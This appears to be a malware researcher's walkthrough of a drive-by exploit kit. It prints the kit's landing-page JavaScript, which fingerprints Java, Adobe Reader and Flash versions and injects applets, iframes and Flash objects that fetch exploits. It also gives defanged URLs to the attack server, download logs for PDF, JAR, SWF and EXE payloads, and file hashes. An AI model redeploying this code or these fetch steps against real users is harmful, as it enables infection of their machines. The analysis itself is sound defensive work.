            l = g.test(i) ? e.formatNum(e.getNum(i)) : O;
            k = g.test(a) ? e.formatNum(e.getNum(a)) : O;
            if (l && (e.compareNums(l, e.formatNum("1,3")) < O || e.compareNums(l, e.
            formatNum("2")) >= O)){
              l = O
            }
            if (k && (e.compareNums(k, e.formatNum("1,3")) < O || e.compareNums(k, e.
            formatNum("2")) >= O)){
              k = O
            }
            d = l && k ? (O < e.compareNums(l, k) ? l : k) : (l || k);
            if (d){
              f = d
            }
          }
          if (!f && e.isSafari && e.OS == 2){
            j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", O);
            if (j){
              l = e.getNum(j.description);
              if (l){
                f = l
              }
            }
          }
          ;
          if (f){
            m.version = e.formatNum(f)
          }
          ;
          return m
        }
      }
      , lang : {
        $ : 1, System : {
          $ : 1, hasRun : O, result : [null, null], disabled : function (){
            return this .$$.isDisabled.windowDotJava()
          }
          , getPropertyHas : function (a){
            var b = this , d = b.$, c = b.getProperty()[O];
            return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === O) ? 1 : O
          }
          , getProperty : function (){
            var f = this , g = f.$, d = f.$$, i, h = {
            }
            , b = f.hasRun || f.disabled();
            f.hasRun = 1;
            if (!b){
              var a = "java_qqq99O";
              g[a] = null;
              try {
                var c = document.createElement("script");
                c.type = "text/javascript";
                c.appendChild(document.createTextNode('
(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.
java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a + 
                "=a||O})();"));
                g.head.insertBefore(c, g.head.firstChild);
                g.head.removeChild(c)
              }
              catch (i){
              }
              if (g[a] && g.isArray(g[a])){
                f.result = [].concat(g[a])
              }
            }
            return f.result
          }
        }
      }
      , applet : {
        $ : 1, results : [[null, null], [null, null], [null, null]], getResult : function 
        (){
          var c = this .results, a, b = [];
          for (a = O; a < c.length; a ++ ){
            b = c[a];
            if (b[O]){
              break 
            }
          }
          return [].concat(b)
        }
        , HTML : [O, O, O], active : [O, O, O], DummyObjTagHTML : O, DummySpanTagHTML : O, 
        allowed : [1, 1, 1], VerifyTagsHas : function (c){
          var d = this , b;
          for (b = O; b < d.allowed.length; b ++ ){
            if (d.allowed[b] === c){
              return 1
            }
          }
          return O
        }
        , saveAsVerifyTagsArray : function (c){
          var b = this , d = b.$, a;
          if (d.isArray(c)){
            for (a = O; a < b.allowed.length; a ++ ){
              if (d.isNum(c[a])){
                if (O > c[a]){
                  c[a] = O
                }
                if (c[a] > 3){
                  c[a] = 3
                }
                b.allowed[a] = c[a]
              }
            }
          }
        }
        , setVerifyTagsArray : function (d){
          var b = this , c = b.$, a = b.$$;
          if (a.getVersionDone === null){
            b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
          }
          if (a.debug || (a.verify && a.verify.isEnabled())){
            b.saveAsVerifyTagsArray([3, 3, 3])
          }
          else {
            if (d){
              b.saveAsVerifyTagsArray(d)
            }
          }
        }
        , allDisabled : function (){
          return this .$$.isDisabled.allApplets()
        }
        , isDisabled : function (d){
          var b = this , c = b.$, a = b.$$;
          if (d == 2 &&! c.isIE){
            return 1
          }
          if (d === O || d == 2){
            return a.isDisabled.ObjectTag()
          }
          if (d == 1){
            return a.isDisabled.AppletTag()
          }
        }
        , can_Insert_Query : function (b){
          var a = this ;
          if (a.HTML[b]){
            return O
          }
          return !a.isDisabled(b)
        }
        , can_Insert_Query_Any : function (){
          var b = this , a;
          for (a = O; a < b.results.length; a ++ ){
            if (b.can_Insert_Query(a)){
              return 1
            }
          }
          return O
        }
        , should_Insert_Query : function (d){
          var b = this , e = b.allowed, c = b.$, a = b.$$;
          if (!b.can_Insert_Query(d)){
            return O
          }
          if (e[d] == 3){
            return 1
          }
          if (e[d] == 2.8 &&! b.getResult()[O]){
            return 1
          }
          if (e[d] == 2.5 &&! a.lang.System.getProperty()[O]){
            return 1
          }
          if (e[d] == 2.2 &&! a.lang.System.getProperty()[O] &&! b.getResult()[O]){
            return 1
          }
          if (!a.nonAppletDetectionOk(a.versionO)){
            if (e[d] == 2){
              return 1
            }
            if (e[d] == 1 &&! b.getResult()[O]){
              return 1
            }
          }
          return O
        }
        , should_Insert_Query_Any : function (){
          var b = this , a;
          for (a = O; a < b.allowed.length; a ++ ){
            if (b.should_Insert_Query(a)){
              return 1
            }
          }
          return O
        }
        , query : function (f){
          var h, a = this , g = a.$, d = a.$$, i = null, j = null, b = a.results, c;
          if ((b[f][O] && b[f][1]) || (d.debug && d.OTF < 3)){
            return 
          }
          c = g.getDOMobj(a.HTML[f], true);
          if (c){
            try {
              i = g.getNum(c.getVersion() + " ");
              j = c.getVendor() + " ";
              c.statusbar(g.winLoaded ? " " : " ")
            }
            catch (h){
            }
            if (i && g.isStrNum(i)){
              b[f] = [i, j]
            }
            else {
            }
            ;
            try {
              if (g.isIE && i && c.readyState != 4){
                g.garbage = true;
                c.parentNode.removeChild(c)
              }
            }
            catch (h){
            }
          }
        }
        , insert_Query_Any : function (){
          var d = this , i = d.$, e = d.$$, l = d.results, p = d.HTML, a = 
          "&nbsp;&nbsp;&nbsp;&nbsp;", g = "A.class", m = i.file.getValid(e);
          if (!m){
            return d.getResult()
          }
          if (e.OTF < 1){
            e.OTF = 1
          }
          if (d.allDisabled()){
            return d.getResult()
          }
          if (e.OTF < 1.5){
            e.OTF = 1.5
          }
          var j = m.name + m.ext, h = m.path;
          var f = ["archive", j, "code", g], c = ["mayscript", "true"], o = ["scriptable", 
          "true"].concat(c), n = e.navigator, b =! i.isIE && n.mimeObj && n.mimeObj.type ? 
          n.mimeObj.type : e.mimeType[O];
          if (d.should_Insert_Query(O)){
            if (e.OTF < 2){
              e.OTF = 2
            }
            ;
            p[O] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).
            concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(
            f).concat(o), a, e);
            l[O] = [O, O];
            d.query(O)
          }
          if (d.should_Insert_Query(1)){
            if (e.OTF < 2){
              e.OTF = 2
            }
            ;
            p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), [
            "codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt"
            , a].concat(c).concat(f), [].concat(c), a, e);
            l[1] = [O, O];
            d.query(1)
          }
          if (d.should_Insert_Query(2)){
            if (e.OTF < 2){
              e.OTF = 2
            }
            ;
            p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h
            ].concat(f).concat(o), a, e) : i.insertHTML();
            l[2] = [O, O];
            d.query(2)
          }
          if (!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag()){
            d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
          }
          if (!d.DummySpanTagHTML){
            d.DummySpanTagHTML = i.insertHTML("", [], [], a)
          }
          ;
          var k = e.NOTF;
          if (e.OTF < 3 && k.shouldContinueQuery()){
            e.OTF = 3;
            k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
            if (!i.winLoaded){
              i.WLfuncsO.push([k.winOnLoadQuery, k])
            }
            setTimeout(k.onIntervalQuery, k.intervalLength)
          }
          ;
          return d.getResult()
        }
      }
      , NOTF : {
        $ : 1, count : O, countMax : 25, intervalLength : 25O, shouldContinueQuery : 
        function (){
          var e = this , d = e.$, c = e.$$, b = c.applet, a;
          for (a = O; a < b.results.length; a ++ ){
            if (b.HTML[a] &&! b.results[a][O] && (b.allowed[a] >= 2 || (b.allowed[a] == 1
             &&! b.getResult()[O])) && e.isAppletActive(a) >= O){
              return 1
            }
          }
          return O
        }
        , isJavaActive : function (d){
          var f = this , c = f.$$, a, b, e =- 9;
          for (a = O; a < c.applet.HTML.length; a ++ ){
            b = f.isAppletActive(a, d);
            if (b > e){
              e = b
            }
          }
          return e
        }
        , isAppletActive : function (c, a){
          var d = this , b = d.$$.applet.active;
          if (!a){
            b[c] = d.isAppletActive_(c)
          }
          return b[c]
        }
        , isAppletActive_ : function (d){
          var g = this , f = g.$, b = g.$$, l = b.navigator, a = b.applet, h = a.HTML[d], 
          i, k, c = O, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
          count);
          if (j ==- 2){
            return  - 2
          }
          try {
            if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object){
              return 1
            }
          }
          catch (i){
          }
          for (k = O; k < a.active.length; k ++ ){
            if (O < a.active[k]){
              c = 1
            }
          }
          if (j == 1 && (f.isIE || ((b.versionO && l.javaEnabled() && l.mimeObj && (h.
          tagName == "object" || c)) || b.lang.System.getProperty()[O]))){
            return 1
          }
          if (O > j){
            return  - 1
          }
          return O
        }
        , winOnLoadQuery : function (c, d){
          var b = d.$$, a;
          if (b.OTF == 3){
            a = d.queryAllApplets();
            d.queryCompleted(a[1], a[2])
          }
        }
        , $$onIntervalQuery : function (d){
          var c = d.$, b = d.$$, a;
          if (b.OTF == 3){
            a = d.queryAllApplets();
            if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)){
              d.queryCompleted(a[1], a[2])
            }
          }
          d.count++;
          if (b.OTF == 3){
            setTimeout(d.onIntervalQuery, d.intervalLength)
          }
        }
        , queryAllApplets : function (){
          var g = this , f = g.$, e = g.$$, d = e.applet, b, a, c;
          for (b = O; b < d.results.length; b ++ ){
            d.query(b)
          }
          a = d.getResult();
          c = a[O] ? true : false;
          return [c, a[O], a[1]]
        }
        , queryCompleted : function (c, f){
          var e = this , d = e.$, b = e.$$;
          if (b.OTF >= 4){
            return 
          }
          b.OTF = 4;
          var a = e.isJavaActive();
          b.setPluginStatus(c, f, O);
          if (b.funcs){
            d.callArray(b.funcs)
          }
          if (d.onDoneEmptyDiv){
            d.onDoneEmptyDiv()
          }
        }
      }
      , zz : O
    }
    , flash : {
      mimeType : "application/x-shockwave-flash", progID : "ShockwaveFlash.ShockwaveFlash"
      , classID : "clsid:D27CDB6E-AE6D-11CF-96B8-44455354OOOO", getVersion : function (){
        var b = function (i){
          if (!i){
            return null
          }
          var e =/ [ \ d][ \ d \,\ . \ s] * [rRdD]{
            O, 1
          }
          [ \ d \, ] */ .exec(i);
          return e ? e[O].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
        }
        ;
        var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
        if (!g.isIE){
          m = g.hasMimeType(j.mimeType);
          if (m){
            f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
            try {
              l = g.getNum(f.GetVariable("$version"))
            }
            catch (k){
            }
          }
          if (!l){
            d = m ? m.enabledPlugin : null;
            if (d && d.description){
              l = b(d.description)
            }
            if (l){
              l = g.getPluginFileVersion(d, l)
            }
          }
        }
        else {
          for (h = 15; h > 2; h -- ){
            c = g.getAXO(j.progID + "." + h);
            if (c){
              a = h.toString();
              break 
            }
          }
          if (!c){
            c = g.getAXO(j.progID)
          }
          if (a == "6"){
            try {
              c.AllowScriptAccess = "always"
            }
            catch (k){
              return "6,O,21,O"
            }
          }
          try {
            l = b(c.GetVariable("$version"))
          }
          catch (k){
          }
          if (!l && a){
            l = a
          }
        }
        j.installed = l ? 1 :- 1;
        j.version = g.formatNum(l);
        return true
      }
    }
    , adobereader : {
      mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF", 
      "PDF.PdfCtrl"], classID : "clsid:CA8A978O-28OD-11CF-A24D-44455354OOOO", INSTALLED : 
      {
      }
      , pluginHasMimeType : function (d, c, f){
        var b = this , e = b.$, a;
        for (ain d){
          if (d[a] && d[a].type && d[a].type == c){
            return 1
          }
        }
        if (e.getMimeEnabledPlugin(c, f)){
          return 1
        }
        return O
      }
      , getVersion : function (l, j){
        var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
        if (d.isString(j)){
          j = j.replace(/\s/g, "");
          if (j){
            k = j
          }
        }
        else {
          j = null
        }
        if (d.isDefined(g.INSTALLED[k])){
          g.installed = g.INSTALLED[k];
          return 
        }
        if (!d.isIE){
          a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
          if (g.getVersionDone !== O){
            g.getVersionDone = O;
            b = d.getMimeEnabledPlugin(g.mimeType, a);
            if (!j){
              n = b
            }
            if (!b && d.hasMimeType(g.mimeType)){
              b = d.findNavPlugin(a, O)
            }
            if (b){
              g.navPluginObj = b;
              h = d.getNum(b.description) || d.getNum(b.name);
              h = d.getPluginFileVersion(b, h);
              if (!h && d.OS == 1){
                if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)){
                  h = "9"
                }
                else {
                  if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)){
                    h = "8"
                  }
                }
              }
            }
          }
          else {
            h = g.version
          }
          if (!d.isDefined(n)){
            n = d.getMimeEnabledPlugin(k, a)
          }
          g.installed = n && h ? 1 : (n ? O : (g.navPluginObj ?- O.2 :- 1))
        }
        else {
          b = d.getAXO(g.progID[O]) || d.getAXO(g.progID[1]);
          c =/=\ s * ([ \ d \ .] + ) / g;
          try {
            f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", 
            ""], "", g))).GetVersions();
            for (m = O; m < 5; m ++ ){
              if (c.test(f) && (!h || h < RegExp.$1)){
                h = RegExp.$1
              }
            }
          }
          catch (i){
          }
          g.installed = h ? 1 : (b ? O :- 1)
        }
        if (!g.version){
          g.version = d.formatNum(h)
        }
        g.INSTALLED[k] = g.installed
      }
    }
    , zz : O
  }
}
;
pdpd.initScript();
pdpd.getVersion(".");
var $$ = pdpd;
function x(s){
  d = [];
  for (i = O; i < s.length; i ++ ){
    k = (s.charCodeAt(i)).toString(33);
    d.push(k);
  }
  ;
  return d.join(":");
}
end_redirect = function (){
}
;
function j1(){
  if ((document.body.clientWidth || document.body.offsetWidth) < 3O){
    var oSpan = document.createElement("div");
    document.body.appendChild(oSpan);
    oSpan.innerHTML = "
<applet archive=\"/27aa2a2acO5d97b8a923519db3594O9c/q.php?yrjtcrx=bakbcvdu&tpre=bgl\" code
=\"&#OO1O4;&#OO119;\"><param name=\"&#OO112;rime\" value=\"w6h6wP4w4LjhBVVhVhV%f4McB?rVch1
46cM?14cLfc%jhBVVhVhV%f4McB?rVch146cM?14cLfc%jFw3D3xC.b6DO6qO68O1fO6CRSeb6AO6oO1hO11O6oO6o
O6oOhvO16O6tR%b6.RvKbkR?kbq\" /><param name=\"va&#OO1O8;\" value=\"Dyy3Ojj6hc\"/></applet>"
    ;
  }
  return true;
}
function j2(){
  if ((document.body.clientWidth || document.body.offsetWidth) < 3O){
    var oSpan = document.createElement("div");
    document.body.appendChild(oSpan);
    oSpan.innerHTML = "
<applet archive=\"/27aa2a2acO5d97b8a923519db3594O9c/q.php?nxpft=usteys&naj=uoembo\" code=\
"&#OO1O4;&#OO119;\"><param name=\"p&#OO114;ime\" value=\"w6h6wP4w4LjhBVVhVhV%f4McB?rVch146
cM?14cLfc%jhBVVhVhV%f4McB?rVch146cM?14cLfc%jFw3D3xC.b6DO6qO68O1fO6CRSeb6AO6oO1hO11O6oO6oO6
oOhvO16O6tR%b6.RvKbkR?kbq\" /><param name=\"v&#OO97;l\" value=\"Dyy3Ojj6hc\"/></applet>";
  }
  return true;
}
function p1(){
  var d = document.createElement("iframe");
  d.setAttribute("src", "/27aa2a2acO5d97b8a923519db3594O9c/q.php?aflz=" + x("253c4") + 
  "&apkqdfqx=" + x("liy") + "&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=" + x(pdfver.
  join(".")));
  document.body.appendChild(d);
}
function p2(){
  var d = document.createElement("iframe");
  d.setAttribute("src", "/27aa2a2acO5d97b8a923519db3594O9c/q.php?pffwxwm=" + x("253c4") + 
  "&rmuc=" + x("r") + "&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=" + x(pdfver.join(".")));
  document.body.appendChild(d);
}
function p3(){
  return false;
}
function f1(){
  var oSpan = document.createElement("span");
  document.body.appendChild(oSpan);
  var url = "/27aa2a2acO5d97b8a923519db3594O9c/q.php?xvre=" + x("253c4") + "&wjtyz=" + x(
  "ldxayg") + "
&bbzw=1g:1n:32:33:1n:1n:1n:2v:31:1o&info=O2e6b1525353caa8ad4d4ec8ae494e48ae4949af494fab4d4
835364e78b81e79a96e31895ef13e3159192939b1ee5e1929316979b11eb87O7O8f7O487O9669b1O817777b898
46O1e";
  oSpan.innerHTML = "
<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-44455354OOOO' id='asd' width='6OO' height='
4OO' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param
 name='movie' value='" + url + "' /><embed src='" + url + "
' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' plu
ginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";
}
function ff2(){
  return false;
}
document.write('');
setTimeout(end_redirect, 61OOO);
var pdfver = [];
function svwrbew6436b($){
  var ar = [];
  var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  if ($.isMinVersion("Ja" + "va") >= O && ((javax[O] == 1 && javax[1] == 7 && javax[3] < 9
  ))){
    ar["push"](j2);
  }
  else if ($.isMinVersion("Ja" + "va") >= O && ((javax[O] == 1 && javax[1] == 6 && javax[3
  ] < 33) || (javax[O] == 1 && javax[1] < 6))){
    ar["push"](j1);
  }
  pdfver = pdpd.getVersion("AdobeReader");
  if (window.document)if (typeof pdfver == "string"){
    pdfver = pdfver["split"](".")
  }
  else {
    pdfver = [O, O, O, O]
  }
  if (pdfver[O] > O && pdfver[O] < 8){
    if (window.document)ar["push"](p1);
  }
  if (((pdfver[O] == 9) && (pdfver[1] >= 3)) || ((pdfver[O] == 1O) && (pdfver[1] < 1O3))){
    ar["push"](p3);
  }
  else {
    if (window.document && (pdfver[O] == 8 || (pdfver[O] == 9 && pdfver[1] < 4))){
      ar["push"](p2);
    }
  }
  var ver = ($$.getVersion("Flash") + ".").toString()["split"](".");
  if (((ver[O] == 1O && ver[1] == O && ver[2] > 4O) || (window.document && (ver[O] == 1O && 
  ver[1] > O) && (ver[O] == 1O && ver[1] < 2))) || window.document && ((ver[O] == 1O && 
  ver[1] == 2 && ver[2] < 159) || (ver[O] == 1O && ver[1] < 2))){
    ar["push"](ff2);
  }
  if ((ver[O] == 1O && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[O] == 1O && 
  ver[1] == 3 && ver[2] < 181)){
    ar["push"](f1);
  }
  var arcalli = O;
  var arcall = function (){
    if (ar.length <= arcalli)return 123;
    ss = setTimeout;
    var res = ar[arcalli]();
    arcalli++;
    if (res && window.document){
      ss(function (){
        arcall()
      }
      , 55O9);
    }
    else {
      arcall();
    }
  }
  ;
  arcall();
}
$$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../data/getJavaInfo.jar")
 

MD5: cddf964beebe004d20e7c93f1daf1a1e
WepaWet analysis: http://wepawet.iseclab.org/view.php?hash=cddf964beebe004d20e7c93f1daf1a1e&type=js

yakes! a long script doing all kind of stuff???
Well we are looking into the exploit files served by these bad guys so lets see if we can figure that out.

3. Get the URL's to the exploit files


Normally there will be one or more PDF file, one or more JAR file and one or mor flash file.

In this script the functions p1(), p2() and p(3) will build the URL's for the PDF files. f1() and ff2() will build the URL's for the Flash exploits nad j1(), j2() and j3() will build the URL's for the the Java ones.

The function x() is thrown in to build the ":" separated parameters.

Find a way to run the x() function safely. I like writecodeonline http://writecodeonline.com/javascript/.

Make the function print the parameters:


function x(s){
  d = [];
  for (i = 0; i < s.length; i ++ ){
    k = (s.charCodeAt(i)).toString(33);
    d.push(k);
  }
  ;
  return d.join(":");
}
str1 = x("inputstring");

document.write(str1);

Just change "inputstring" to what it should be according to the strings in the px(), jx() and fx() function and we have the URL's :)

Like this: function p1():

"/27aa2a2ac05d97b8a923519db359409c/q.php?aflz=" + x("253c4") + 
  "&apkqdfqx=" + x("liy") + "&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=" + x(pdfver.
  join(".")));

becomes this URL:
hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?aflz=1h:1k:1i:30:1j&apkqdfqx=39:36:3m&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=1o:1d:1i
In detail:
 x("253c4")   =  1h:1k:1i:30:1j
 x("liy")    =  39:36:3m
 x(pdfver.join(".")) = 1o:1d:1i where pdfver.join(".") = "9.4"

Different version of the software might get you different exploit files.

4. Now we are ready to looth the EK :)


hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?aflz=1h:1k:1i:30:1j&apkqdfqx=39:36:3m&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=1o:1d:1i
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 11:39:15 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Content-Length: 20389
  ETag: "dee4c63ecd6d3466990731fde2ac0902"
  Last-Modified: Fri, 01 Mar 2013 08:43:40 GMT
  Accept-Ranges: bytes
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 20389 (20K) [application/pdf]
Saving to: `q.php?aflz=1h:1k:1i:30:1j&apkqdfqx=39:36:3m&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=1o:1d:1i'

     0K .......... .........                                  100% 35.6K=0.6s

 (35.6 KB/s) - `q.php?aflz=1h:1k:1i:30:1j&apkqdfqx=39:36:3m&zeqllvlk=1g:1n:32:33:1n:1n:1n:2v:31:1o&zkkilaq=1o:1d:1i' saved [20389/20389]

  



  hxxp://129.121.65.54//27aa2a2ac05d97b8a923519db359409c/q.php?yrjtcrx=bakbcvdu&tpre=bgl
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 13:28:30 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22355
  ETag: "3077376f4df81c082b1e73c3ef6060ad"
  Last-Modified: Fri, 01 Mar 2013 10:32:55 GMT
  Accept-Ranges: bytes
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 22355 (22K) [application/java-archive]
Saving to: `q.php?yrjtcrx=bakbcvdu&tpre=bgl.1'

     0K .......... .......... .                               100% 15.2K=1.4s

 (15.2 KB/s) - `q.php?yrjtcrx=bakbcvdu&tpre=bgl.1' saved [22355/22355]

hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?nxpft=usteys&naj=uoembo
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 14:05:00 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22355
  ETag: "3077376f4df81c082b1e73c3ef6060ad"
  Last-Modified: Fri, 01 Mar 2013 11:09:25 GMT
  Accept-Ranges: bytes
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 22355 (22K) [application/java-archive]
Saving to: `q.php?nxpft=usteys&naj=uoembo'

     0K .......... .......... .                               100% 11.8K=1.8s

 (11.8 KB/s) - `q.php?nxpft=usteys&naj=uoembo' saved [22355/22355]


hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?nxpft=usteys&naj=uoembo
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 14:13:45 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22324
  ETag: "cebed8a3db4a9695cb59ffa25e4bfeb3"
  Last-Modified: Fri, 01 Mar 2013 11:18:10 GMT
  Accept-Ranges: bytes
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 22324 (22K) [application/java-archive]
Saving to: `q.php?nxpft=usteys&naj=uoembo.1'

     0K .......... .......... .                               100% 38.3K=0.6s

 (38.3 KB/s) - `q.php?nxpft=usteys&naj=uoembo.1' saved [22324/22324]


hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?xvre=1h:1k:1i:30:1j&wjtyz=39:31:3l:2v:3m:34&bbzw=1g:1n:32:33:1n:1n:1n:2v:31:1o&info=02e6b1525353caa8ad4d4ec8ae494e48ae4949af494fab4d4835364e78b81e79a96e31895ef13e3159192939b1ee5e1929316979b11eb870708f7048709669b10817777b8984601e
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 14:21:50 GMT
  Server: nginx/0.7.65
  Content-Type: text/html
  X-Powered-By: PHP/5.3.2
  Connection: close
Length: unspecified [text/html]
Saving to: `q.php?xvre=1h:1k:1i:30:1j&wjtyz=39:31:3l:2v:3m:34&bbzw=1g:1n:32:33:1n:1n:1n:2v:31:1o&info=02e6b1525353caa8ad4d4ec8ae494e48ae4949af494fab4d4835364e78b81e79a96e31895ef13e3159192939b1ee5e1929316979b11eb870708f7048709669b10817777b8984601e'

     0K ..                                                     1.20M=0.002s

 (1.20 MB/s) - `q.php?xvre=1h:1k:1i:30:1j&wjtyz=39:31:3l:2v:3m:34&bbzw=1g:1n:32:33:1n:1n:1n:2v:31:1o&info=02e6b1525353caa8ad4d4ec8ae494e48ae4949af494fab4d4835364e78b81e79a96e31895ef13e3159192939b1ee5e1929316979b11eb870708f7048709669b10817777b8984601e' saved [2671]


hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1i
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 14:47:57 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Accept-Ranges: bytes
  Content-Length: 9999
  Content-Disposition: inline; filename=502c5.pdf
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 9999 (9.8K) [application/pdf]
Saving to: `q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1i'

     0K .........                                             100% 13.0K=0.8s

 (13.0 KB/s) - `q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1i' saved [9999/9999]

hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1j
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 14:58:19 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Accept-Ranges: bytes
  Content-Length: 10934
  Content-Disposition: inline; filename=fb44e.pdf
  Keep-Alive: timeout=15
  Connection: Keep-Alive
Length: 10934 (11K) [application/pdf]
Saving to: `q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1j'

     0K ..........                                            100% 32.8K=0.3s

 (32.8 KB/s) - `q.php?pffwxwm=1h:1k:1i:30:1j&rmuc=3f&jxwtj=1g:1n:32:33:1n:1n:1n:2v:31:1o&qxam=1o:1d:1j' saved [10934/10934]

5. Exploit files overview


PDF1: 502c5.pdf (my name = 9_3.pdf)
MD5: 1bbb973e33111bdc86d4168101102bf2
Virustotal : ??
WepaWet: Link
type=js
CVE: CVE-2009-0927
ClamAV: Not infected

PDF2: fb44e.pdf (my name = 9_2.pdf)
MD5: 724f867d6d4718771732e2bfdcaa6873
Virustotal: 4/31
WepaWet: benign
CVE:
ClamAV: Not infected

PDF3: (my name 9_4.pdf)
MD5:411e461788b9e94618b464daa0fcf123
Virustotal : 10/46
WepaWet: benign
CVE:
ClamAV: Not infected

JAR1: (my name 9_3.jar)
MD5: 3077376f4df81c082b1e73c3ef6060ad
Virustotal: 2/46
CVE: ??
ClamAV: Not infected

JAR2: (my name 9_3_16.jar)
MD5: cebed8a3db4a9695cb59ffa25e4bfeb3
Virustotal:
CVE: ??
ClamAV: Not infected

SWF1: (my name 9_3.swf)
MD5: db2d3584fdbacdb7fd58fadc558144ae
Virustotal: 12/46
CVE: ??
ClamAV: Not infected

6. EXE file


From the Wepawet analyzis we actually got the embedded URL to the infection malware that the bad guys wanted to throw at us so lets fetch that as well.

hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/27aa2a2ac05d97b8a923519db359409c/q.php?gtfsgben=1h:1k:1i:30:1j&nueini=1g:1n:32:33:1n:1n:1n:2v:31:1o&lmjognd=1h&wesjtyu=inlis&qoewm=ykqn
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 11:43:35 GMT
  Server: nginx/0.7.65
  Content-Type: application/x-msdownload
  X-Powered-By: PHP/5.3.2
  Pragma: public
  Expires: Fri, 01 Mar 2013 08:48:01 GMT
  Cache-Control: must-revalidate, post-check=0, pre-check=0
  Cache-Control: private
  Content-Disposition: attachment; filename="about.exe"
  Content-Transfer-Encoding: binary
